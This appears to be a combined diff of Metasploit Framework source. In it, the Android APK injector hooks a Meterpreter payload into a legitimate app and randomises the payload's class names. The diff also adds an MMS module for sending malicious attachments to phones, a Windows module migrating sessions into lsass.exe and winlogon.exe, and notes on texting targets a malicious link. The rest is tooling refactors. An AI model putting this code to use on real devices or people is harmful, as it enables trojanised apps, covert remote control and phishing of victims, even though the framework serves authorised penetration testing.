keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'")
|
||||
owner_line = keytool_output.match(/^Owner:.+/)[0]
|
||||
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
|
||||
orig_cert_data.push("#{orig_cert_dname}")
|
||||
|
@ -185,24 +197,22 @@ class Msf::Payload::Apk
|
|||
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
||||
|
||||
print_status "Locating hook point..\n"
|
||||
launcheractivity = find_launcher_activity(amanifest)
|
||||
unless launcheractivity
|
||||
raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n"
|
||||
end
|
||||
smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali"
|
||||
hookable_class = find_hook_point(amanifest)
|
||||
smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
|
||||
smalifiles = Dir.glob(smalifile)
|
||||
for smalifile in smalifiles
|
||||
if File.readable?(smalifile)
|
||||
activitysmali = File.read(smalifile)
|
||||
hooksmali = File.read(smalifile)
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
unless activitysmali
|
||||
raise RuntimeError, "Unable to find hookable activity in #{smalifiles}\n"
|
||||
unless hooksmali
|
||||
raise RuntimeError, "Unable to find hook point in #{smalifile}\n"
|
||||
end
|
||||
|
||||
entrypoint = 'return-void'
|
||||
unless activitysmali.include? entrypoint
|
||||
unless hooksmali.include? entrypoint
|
||||
raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
|
||||
end
|
||||
|
||||
|
@ -212,6 +222,10 @@ class Msf::Payload::Apk
|
|||
|
||||
package = amanifest.xpath("//manifest").first['package']
|
||||
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
classes = {}
|
||||
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||
classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||
package_slash = package.gsub(/\./, "/")
|
||||
print_status "Adding payload as package #{package}\n"
|
||||
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
|
||||
|
@ -221,15 +235,22 @@ class Msf::Payload::Apk
|
|||
# Copy over the payload files, fixing up the smali code
|
||||
payload_files.each do |file_name|
|
||||
smali = File.read(file_name)
|
||||
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash)
|
||||
newfilename = "#{payload_dir}#{File.basename file_name}"
|
||||
File.open(newfilename, "wb") {|file| file.puts newsmali }
|
||||
smali_class = File.basename file_name
|
||||
for oldclass, newclass in classes
|
||||
if smali_class == "#{oldclass}.smali"
|
||||
smali_class = "#{newclass}.smali"
|
||||
end
|
||||
smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
|
||||
end
|
||||
smali.gsub!(/com\/metasploit\/stage/, package_slash)
|
||||
newfilename = "#{payload_dir}#{smali_class}"
|
||||
File.open(newfilename, "wb") {|file| file.puts smali }
|
||||
end
|
||||
|
||||
payloadhook = %Q^invoke-static {}, L#{package_slash}/MainService;->start()V
|
||||
payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V
|
||||
|
||||
^ + entrypoint
|
||||
hookedsmali = activitysmali.sub(entrypoint, payloadhook)
|
||||
hookedsmali = hooksmali.sub(entrypoint, payloadhook)
|
||||
|
||||
print_status "Loading #{smalifile} and injecting payload..\n"
|
||||
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
|
||||
|
@ -237,7 +258,7 @@ class Msf::Payload::Apk
|
|||
injected_apk = "#{tempdir}/output.apk"
|
||||
aligned_apk = "#{tempdir}/aligned.apk"
|
||||
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
||||
fix_manifest(tempdir, package)
|
||||
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
|
||||
|
||||
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
||||
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
||||
|
|
|
@ -8,6 +8,7 @@ require 'rex/proto/iax2'
|
|||
require 'rex/proto/kerberos'
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/proto/sms'
|
||||
require 'rex/proto/mms'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/proto/mms/exception'
|
||||
require 'rex/proto/mms/model'
|
|
@ -0,0 +1,89 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
class Client
|
||||
|
||||
# @!attribute carrier
|
||||
# @return [Symbol] The service provider for the phone numbers.
|
||||
attr_accessor :carrier
|
||||
|
||||
# @!attribute smtp_server
|
||||
# @return [Rex::Proto::Mms::Model::Smtp] The Smtp object with the Smtp settings.
|
||||
attr_accessor :smtp_server
|
||||
|
||||
|
||||
# Initializes the Client object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [Symbol] Service provider name (see Rex::Proto::Mms::Model::GATEWAYS)
|
||||
# @option opts [Rex::Proto::mms::Model::Smtp] SMTP object
|
||||
#
|
||||
# @return [Rex::Proto::Mms::Client]
|
||||
def initialize(opts={})
|
||||
self.carrier = opts[:carrier]
|
||||
self.smtp_server = opts[:smtp_server]
|
||||
|
||||
validate_carrier!
|
||||
end
|
||||
|
||||
|
||||
# Sends a media text to multiple recipients.
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of phone numbers.
|
||||
# @param subject [String] MMS subject
|
||||
# @param message [String] The message to send.
|
||||
# @param attachment_path [String] (Optional) The attachment to include
|
||||
# @param ctype [String] (Optional) The content type to use for the attachment
|
||||
#
|
||||
# @return [void]
|
||||
def send_mms_to_phones(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
|
||||
carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier]
|
||||
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
|
||||
address = self.smtp_server.address
|
||||
port = self.smtp_server.port
|
||||
username = self.smtp_server.username
|
||||
password = self.smtp_server.password
|
||||
helo_domain = self.smtp_server.helo_domain
|
||||
login_type = self.smtp_server.login_type
|
||||
from = self.smtp_server.from
|
||||
|
||||
smtp = Net::SMTP.new(address, port)
|
||||
|
||||
begin
|
||||
smtp.enable_starttls_auto
|
||||
smtp.start(helo_domain, username, password, login_type) do
|
||||
recipients.each do |r|
|
||||
mms_message = Rex::Proto::Mms::Model::Message.new(
|
||||
message: message,
|
||||
content_type: ctype,
|
||||
attachment_path: attachment_path,
|
||||
from: from,
|
||||
to: r,
|
||||
subject: subject
|
||||
)
|
||||
smtp.send_message(mms_message.to_s, from, r)
|
||||
end
|
||||
end
|
||||
rescue Net::SMTPAuthenticationError => e
|
||||
raise Rex::Proto::Mms::Exception, e.message
|
||||
ensure
|
||||
smtp.finish if smtp && smtp.started?
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Validates the carrier parameter.
|
||||
#
|
||||
# @raise [Rex::Proto::Mms::Exception] If an invalid service provider is used.
|
||||
def validate_carrier!
|
||||
unless Rex::Proto::Mms::Model::GATEWAYS.include?(self.carrier)
|
||||
raise Rex::Proto::Mms::Exception, 'Invalid carrier.'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,10 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
class Exception < ::RuntimeError
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,24 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
module Model
|
||||
|
||||
GATEWAYS = {
|
||||
att:'mms.att.net', # AT&T Wireless
|
||||
sprint: 'pm.sprint.com', # Sprint
|
||||
tmobile: 'tmomail.net', # T-Mobile
|
||||
verizon: 'vzwpix.com', # Verizon
|
||||
google: 'msg.fi.google.com' # Google
|
||||
}
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'net/smtp'
|
||||
require 'rex/proto/mms/model/smtp'
|
||||
require 'rex/proto/mms/model/message'
|
||||
require 'rex/proto/mms/client'
|
|
@ -0,0 +1,108 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
module Model
|
||||
class Message
|
||||
|
||||
# @!attribute message
|
||||
# @return [String] The text message
|
||||
attr_accessor :message
|
||||
|
||||
# @!attribute content_type
|
||||
# @return [Fixnum] The content type of the attachment
|
||||
attr_accessor :content_type
|
||||
|
||||
# @!attribute attachment
|
||||
# @return [String] The loaded attachment converted to Base64
|
||||
attr_accessor :attachment
|
||||
|
||||
# @!attribute from
|
||||
# @return [String] The from field in the email
|
||||
attr_accessor :from
|
||||
|
||||
# @!attribute to
|
||||
# @return [String] The to field in the email
|
||||
attr_accessor :to
|
||||
|
||||
# @!attribute subject
|
||||
# @return [String] The subject of the email
|
||||
attr_accessor :subject
|
||||
|
||||
# @!attribute attachment_name
|
||||
# @return [String] The attachment base name extracted from :attachment
|
||||
attr_accessor :attachment_name
|
||||
|
||||
|
||||
# Initializes the SMTP object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [String] :from
|
||||
# @option opts [String] :to
|
||||
# @option opts [String] :message
|
||||
# @option opts [String] :content_type
|
||||
# @option opts [String] :attachment_path
|
||||
#
|
||||
# @return [Rex::Proto::Mms::Model::Message]
|
||||
def initialize(opts={})
|
||||
self.from = opts[:from]
|
||||
self.to = opts[:to]
|
||||
self.message = opts[:message]
|
||||
self.subject = opts[:subject]
|
||||
self.content_type = opts[:content_type]
|
||||
if opts[:attachment_path]
|
||||
self.attachment = load_file_to_base64(opts[:attachment_path])
|
||||
self.attachment_name = File.basename(opts[:attachment_path])
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Returns the raw MMS message
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
generate_mms_message
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
|
||||
# Returns the loaded file in Base64 format
|
||||
#
|
||||
# @return [String] Base64 data
|
||||
def load_file_to_base64(path)
|
||||
buf = File.read(path)
|
||||
(Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n").strip
|
||||
end
|
||||
|
||||
|
||||
# Returns the raw MMS message
|
||||
#
|
||||
# @return [String]
|
||||
def generate_mms_message
|
||||
text = Rex::MIME::Message.new
|
||||
text.add_part(self.message, 'text/plain; charset=UTF-8', nil)
|
||||
body = Rex::MIME::Message.new
|
||||
body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil)
|
||||
if self.attachment
|
||||
body.add_part(self.attachment, "#{content_type}; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"")
|
||||
end
|
||||
|
||||
mms = "MIME-Version: 1.0\n"
|
||||
mms << "From: #{self.from}\n"
|
||||
mms << "To: #{self.to}\n"
|
||||
mms << "Subject: #{self.subject}\n"
|
||||
mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n"
|
||||
mms << "\n"
|
||||
mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_")
|
||||
|
||||
mms
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
module Model
|
||||
class Smtp
|
||||
|
||||
# @!attribute address
|
||||
# @return [String] SMTP address
|
||||
attr_accessor :address
|
||||
|
||||
# @!attribute port
|
||||
# @return [Fixnum] SMTP port
|
||||
attr_accessor :port
|
||||
|
||||
# @!attribute username
|
||||
# @return [String] SMTP account/username
|
||||
attr_accessor :username
|
||||
|
||||
# @!attribute password
|
||||
# @return [String] SMTP password
|
||||
attr_accessor :password
|
||||
|
||||
# @!attribute login_type
|
||||
# @return [Symbol] SMTP login type (:login, :plain, and :cram_md5)
|
||||
attr_accessor :login_type
|
||||
|
||||
# @!attribute from
|
||||
# @return [String] Sender
|
||||
attr_accessor :from
|
||||
|
||||
# @!attribute helo_domain
|
||||
# @return [String] The domain to use for the HELO SMTP message
|
||||
attr_accessor :helo_domain
|
||||
|
||||
|
||||
# Initializes the SMTP object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [String] :address
|
||||
# @option opts [Fixnum] :port
|
||||
# @option opts [String] :username
|
||||
# @option opts [String] :password
|
||||
# @option opts [String] :helo_domain
|
||||
# @option opts [Symbol] :login_type
|
||||
# @option opts [String] :from
|
||||
#
|
||||
# @return [Rex::Proto::Mms::Model::Smtp]
|
||||
def initialize(opts={})
|
||||
self.address = opts[:address]
|
||||
self.port = opts[:port] || 25
|
||||
self.username = opts[:username]
|
||||
self.password = opts[:password]
|
||||
self.helo_domain = opts[:helo_domain] || 'localhost'
|
||||
self.login_type = opts[:login_type] || :login
|
||||
self.from = opts[:from] || ''
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.17'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.18'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Mms
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MMS Client',
|
||||
'Description' => %q{
|
||||
This module sends an MMS message to multiple phones of the same carrier.
|
||||
You can use it to send a malicious attachment to phones.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
phone_numbers = datastore['CELLNUMBERS'].split
|
||||
print_status("Sending mms message to #{phone_numbers.length} number(s)...")
|
||||
begin
|
||||
res = send_mms(phone_numbers, datastore['MMSSUBJECT'], datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE'])
|
||||
print_status("Done.")
|
||||
rescue Rex::Proto::Mms::Exception => e
|
||||
print_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -16,8 +16,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
This module sends a text message to multiple phones of the same carrier.
|
||||
You can use it to send a malicious link to phones.
|
||||
|
||||
Please note that you do not use this module to send a media file (attachment),
|
||||
because that is MMS.
|
||||
Please note that you do not use this module to send a media file (attachment).
|
||||
In order to send a media file, please use auxiliary/client/mms/send_mms instead.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE
|
||||
|
|
|
@ -180,14 +180,18 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def storedb(hashreq,response,dbpath)
|
||||
|
||||
# Added host/port/ssl for report_web_page support
|
||||
info = {
|
||||
:web_site => @current_site,
|
||||
:path => hashreq['uri'],
|
||||
:query => hashreq['query'],
|
||||
:data => hashreq['data'],
|
||||
:code => response['code'],
|
||||
:body => response['body'],
|
||||
:headers => response['headers']
|
||||
:host => hashreq['rhost'],
|
||||
:port => hashreq['rport'],
|
||||
:ssl => !hashreq['ssl'].nil?,
|
||||
:data => hashreq['data'],
|
||||
:code => response.code,
|
||||
:body => response.body,
|
||||
:headers => response.headers
|
||||
}
|
||||
|
||||
#if response['content-type']
|
||||
|
|
|
@ -39,11 +39,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_status("#{ip}:#{rport} TELNET #{banner_santized}")
|
||||
report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_santized)
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue Timeout::Error
|
||||
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
|
||||
print_error("A network issue has occurred: #{e.message}")
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
rescue Timeout::Error => e
|
||||
print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
rescue ::Exception => e
|
||||
print_error("#{e} #{e.backtrace}")
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -16,6 +16,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
This module allows you to open an android meterpreter via a browser. An Android
|
||||
meterpreter must be installed as an application beforehand on the target device
|
||||
in order to use this.
|
||||
|
||||
For best results, you can consider using the auxiliary/client/sms/send_text to
|
||||
trick your target into opening the malicious link, and wake up Meterpreter.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
|
|
|
@ -235,7 +235,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'method' => datastore['HTTP_METHOD'],
|
||||
}, 25)
|
||||
if res && !res.get_cookies.empty?
|
||||
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
|
||||
match = res.get_cookies.match(/([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
|
||||
end
|
||||
|
||||
if match
|
||||
|
|
|
@ -71,7 +71,8 @@ class MetasploitModule < Msf::Post
|
|||
"truecrypt", "bulldog", "ufw", "iptables", "logrotate", "logwatch",
|
||||
"chkrootkit", "clamav", "snort", "tiger", "firestarter", "avast", "lynis",
|
||||
"rkhunter", "tcpdump", "webmin", "jailkit", "pwgen", "proxychains", "bastille",
|
||||
"psad", "wireshark", "nagios", "nagios", "apparmor", "honeyd", "thpot"
|
||||
"psad", "wireshark", "nagios", "nagios", "apparmor", "honeyd", "thpot",
|
||||
"aa-status", "gradm2", "getenforce"
|
||||
]
|
||||
|
||||
env_paths = cmd_exec("echo $PATH").split(":")
|
||||
|
|
|
@ -10,7 +10,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'winlogon.exe', 'wininit.exe', 'lsm.exe', 'lsass.exe' ]
|
||||
DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ]
|
||||
DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ]
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -19,15 +19,15 @@ class MetasploitModule < Msf::Post
|
|||
'Description' => %q{ This module will migrate a Meterpreter session based on session privileges.
|
||||
It will do everything it can to migrate, including spawing a new User level process.
|
||||
For sessions with Admin rights: It will try to migrate into a System level process in the following
|
||||
order: ANAME (if specified), services.exe, winlogon.exe, wininit.exe, lsm.exe, and lsass.exe.
|
||||
If all these fail, it will fall back to User level migration. For sessions with User level rights:
|
||||
order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.
|
||||
If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:
|
||||
It will try to migrate to a user level process, if that fails it will attempt to spawn the process
|
||||
then migrate to it. It will attempt the User level processes in the following order:
|
||||
NAME (if specified), explorer.exe, then notepad.exe.},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Josh Hale <jhale85446[at]gmail.com>',
|
||||
'Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>',
|
||||
'theLightCosine'
|
||||
],
|
||||
'Platform' => ['win' ],
|
||||
|
@ -36,18 +36,23 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),
|
||||
OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),
|
||||
OptBool.new( 'KILL', [false, 'Kill original session process.', false])
|
||||
OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),
|
||||
OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),
|
||||
OptBool.new( 'KILL', [true, 'Kill original session process.', false]),
|
||||
OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
# Get current process information
|
||||
@original_pid = client.sys.process.open.pid
|
||||
@original_name = client.sys.process.open.name
|
||||
@original_name = client.sys.process.open.name.downcase
|
||||
print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}")
|
||||
unless migrate_admin
|
||||
if is_admin? && !datastore['NOFAIL']
|
||||
print_status("NOFAIL set to false, exiting module.")
|
||||
return
|
||||
end
|
||||
migrate_user
|
||||
end
|
||||
end
|
||||
|
@ -61,7 +66,7 @@ class MetasploitModule < Msf::Post
|
|||
def get_pid(proc_name)
|
||||
processes = client.sys.process.get_processes
|
||||
processes.each do |proc|
|
||||
if proc['name'] == proc_name && proc['user'] != ""
|
||||
if proc['name'].downcase == proc_name && proc['user'] != ""
|
||||
return proc['pid']
|
||||
end
|
||||
end
|
||||
|
@ -105,9 +110,13 @@ class MetasploitModule < Msf::Post
|
|||
client.core.migrate(target_pid)
|
||||
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
||||
return true
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => error
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => req_error
|
||||
print_error("Could not migrate to #{proc_name}.")
|
||||
print_error(error.to_s)
|
||||
print_error(req_error.to_s)
|
||||
return false
|
||||
rescue ::Rex::RuntimeError => run_error
|
||||
print_error("Could not migrate to #{proc_name}.")
|
||||
print_error(run_error.to_s)
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
@ -118,12 +127,17 @@ class MetasploitModule < Msf::Post
|
|||
# @return [FalseClass] if it failed to migrate
|
||||
def migrate_admin
|
||||
if is_admin?
|
||||
# Populate target array
|
||||
# Populate target array and Downcase all Targets
|
||||
admin_targets = DEFAULT_ADMIN_TARGETS.dup
|
||||
admin_targets.unshift(datastore['ANAME']) if datastore['ANAME']
|
||||
admin_targets.map!(&:downcase)
|
||||
|
||||
if is_system?
|
||||
print_status("Session is already Admin and System.")
|
||||
if admin_targets.include? @original_name
|
||||
print_good("Session is already in target process: #{@original_name}.")
|
||||
return true
|
||||
end
|
||||
else
|
||||
print_status("Session is Admin but not System.")
|
||||
end
|
||||
|
@ -148,9 +162,11 @@ class MetasploitModule < Msf::Post
|
|||
# @return [TrueClass] if it successfully migrated
|
||||
# @return [FalseClass] if it failed to migrate
|
||||
def migrate_user
|
||||
# Populate Target Array
|
||||
# Populate Target Array and Downcase all Targets
|
||||
user_targets = DEFAULT_USER_TARGETS.dup
|
||||
user_targets.unshift(datastore['NAME']) if datastore['NAME']
|
||||
user_targets.map!(&:downcase)
|
||||
|
||||
print_status("Will attempt to migrate to a User level process.")
|
||||
|
||||
# Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating.
|
||||
|
|
153
plugins/wmap.rb
153
plugins/wmap.rb
|
@ -147,23 +147,28 @@ class Plugin::Wmap < Msf::Plugin
|
|||
when '-s'
|
||||
u = args.shift
|
||||
l = args.shift
|
||||
s = args.shift
|
||||
o = args.shift
|
||||
|
||||
if not u
|
||||
return
|
||||
end
|
||||
return unless u
|
||||
|
||||
if l == nil or l.empty?
|
||||
l = 200
|
||||
s = true
|
||||
o = 'true'
|
||||
else
|
||||
l = l.to_i
|
||||
s = false
|
||||
# Add check if unicode parameters is the second one
|
||||
if l == 'true' or l == 'false'
|
||||
o = l
|
||||
l = 200
|
||||
else
|
||||
l = l.to_i
|
||||
end
|
||||
end
|
||||
|
||||
o = (o == 'true')
|
||||
|
||||
if u.include? 'http'
|
||||
# Parameters are in url form
|
||||
view_site_tree(u,l,s)
|
||||
view_site_tree(u,l,o)
|
||||
else
|
||||
# Parameters are digits
|
||||
if !self.lastsites or self.lastsites.length == 0
|
||||
|
@ -188,12 +193,12 @@ class Plugin::Wmap < Msf::Plugin
|
|||
# Skip the DB entirely if no matches
|
||||
return if target_whitelist.length == 0
|
||||
|
||||
if not self.targets
|
||||
self.targets = Hash.new()
|
||||
end
|
||||
unless self.targets
|
||||
self.targets = Hash.new()
|
||||
end
|
||||
|
||||
target_whitelist.each do |ent|
|
||||
view_site_tree(ent,l,s)
|
||||
view_site_tree(ent,l,o)
|
||||
end
|
||||
end
|
||||
return
|
||||
|
@ -203,8 +208,7 @@ class Plugin::Wmap < Msf::Plugin
|
|||
print_line("\t-a [url] Add site (vhost,url)")
|
||||
print_line("\t-d [ids] Delete sites (separate ids with space)")
|
||||
print_line("\t-l List all available sites")
|
||||
print_line("\t-s [id] Display site structure (vhost,url|ids) (level)")
|
||||
|
||||
print_line("\t-s [id] Display site structure (vhost,url|ids) (level) (unicode output true/false)")
|
||||
print_line("")
|
||||
return
|
||||
else
|
||||
|
@ -1526,18 +1530,16 @@ class Plugin::Wmap < Msf::Plugin
|
|||
# Skip the DB entirely if no matches
|
||||
return if site_whitelist.length == 0
|
||||
|
||||
vsites = Hash.new()
|
||||
|
||||
site_whitelist.each do |ent|
|
||||
vhost,target = ent
|
||||
|
||||
host = self.framework.db.workspace.hosts.find_by_address(target.host)
|
||||
if not host
|
||||
unless host
|
||||
print_error("No matching host for #{target.host}")
|
||||
next
|
||||
end
|
||||
serv = host.services.find_by_port_and_proto(target.port, 'tcp')
|
||||
if not serv
|
||||
unless serv
|
||||
print_error("No matching service for #{target.host}:#{target.port}")
|
||||
next
|
||||
end
|
||||
|
@ -1552,69 +1554,106 @@ class Plugin::Wmap < Msf::Plugin
|
|||
end
|
||||
end
|
||||
|
||||
# Private function to avoid duplicate code
|
||||
def load_tree_core(req, wtree)
|
||||
pathchr = '/'
|
||||
tarray = req.path.to_s.split(pathchr)
|
||||
tarray.delete("")
|
||||
tpath = Pathname.new(pathchr)
|
||||
tarray.each do |df|
|
||||
wtree.add_at_path(tpath.to_s,df)
|
||||
tpath = tpath + Pathname.new(df.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Load website structure into a tree
|
||||
#
|
||||
|
||||
def load_tree(s)
|
||||
|
||||
pathchr = '/'
|
||||
|
||||
wtree = Tree.new(s.vhost)
|
||||
|
||||
# Load site pages
|
||||
s.web_pages.order('path asc').each do |req|
|
||||
tarray = req.path.to_s.split(pathchr)
|
||||
tarray.delete("")
|
||||
tpath = Pathname.new(pathchr)
|
||||
tarray.each do |df|
|
||||
wtree.add_at_path(tpath.to_s,df)
|
||||
tpath = tpath + Pathname.new(df.to_s)
|
||||
if req.code != 404
|
||||
load_tree_core(req, wtree)
|
||||
end
|
||||
end
|
||||
|
||||
# Load site forms
|
||||
s.web_forms.each do |req|
|
||||
tarray = req.path.to_s.split(pathchr)
|
||||
tarray.delete("")
|
||||
tpath = Pathname.new(pathchr)
|
||||
tarray.each do |df|
|
||||
wtree.add_at_path(tpath.to_s,df)
|
||||
tpath = tpath + Pathname.new(df.to_s)
|
||||
end
|
||||
load_tree_core(req, wtree)
|
||||
end
|
||||
|
||||
return wtree
|
||||
wtree
|
||||
end
|
||||
|
||||
def print_file(filename)
|
||||
ext = File.extname(filename)
|
||||
if %w(.txt .md).include? ext
|
||||
print '%bld%red'
|
||||
elsif %w(.css .js).include? ext
|
||||
print '%grn'
|
||||
end
|
||||
|
||||
print_line("#{ filename }%clr")
|
||||
end
|
||||
|
||||
#
|
||||
# Print Tree structure. Still ugly
|
||||
# Recursive function for printing the tree structure
|
||||
#
|
||||
def print_tree_recursive(tree, max_level, indent, prefix, is_last, unicode)
|
||||
if tree != nil and tree.depth <= max_level
|
||||
print (' ' * indent)
|
||||
|
||||
def print_tree(tree, ip, maxlevel, limitlevel)
|
||||
initab = " " * 4
|
||||
indent = 6
|
||||
if tree != nil and tree.depth <= maxlevel
|
||||
print initab + (" " * indent * tree.depth)
|
||||
if tree.depth > 0
|
||||
print "|"+("-" * (indent-1))+"/"
|
||||
end
|
||||
if tree.depth >= 0
|
||||
if tree.depth == 0
|
||||
print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n"
|
||||
|
||||
# Prefix serve to print the superior hierarchy
|
||||
prefix.each { |bool|
|
||||
if unicode
|
||||
print (bool ? ' ' : '│') + (' ' * 3)
|
||||
else
|
||||
c = tree.children.count
|
||||
if c > 0
|
||||
print tree.name + " (" + c.to_s+")\n"
|
||||
else
|
||||
print tree.name + "\n"
|
||||
end
|
||||
print (bool ? ' ' : '|') + (' ' * 3)
|
||||
end
|
||||
}
|
||||
if unicode
|
||||
# The last children is special
|
||||
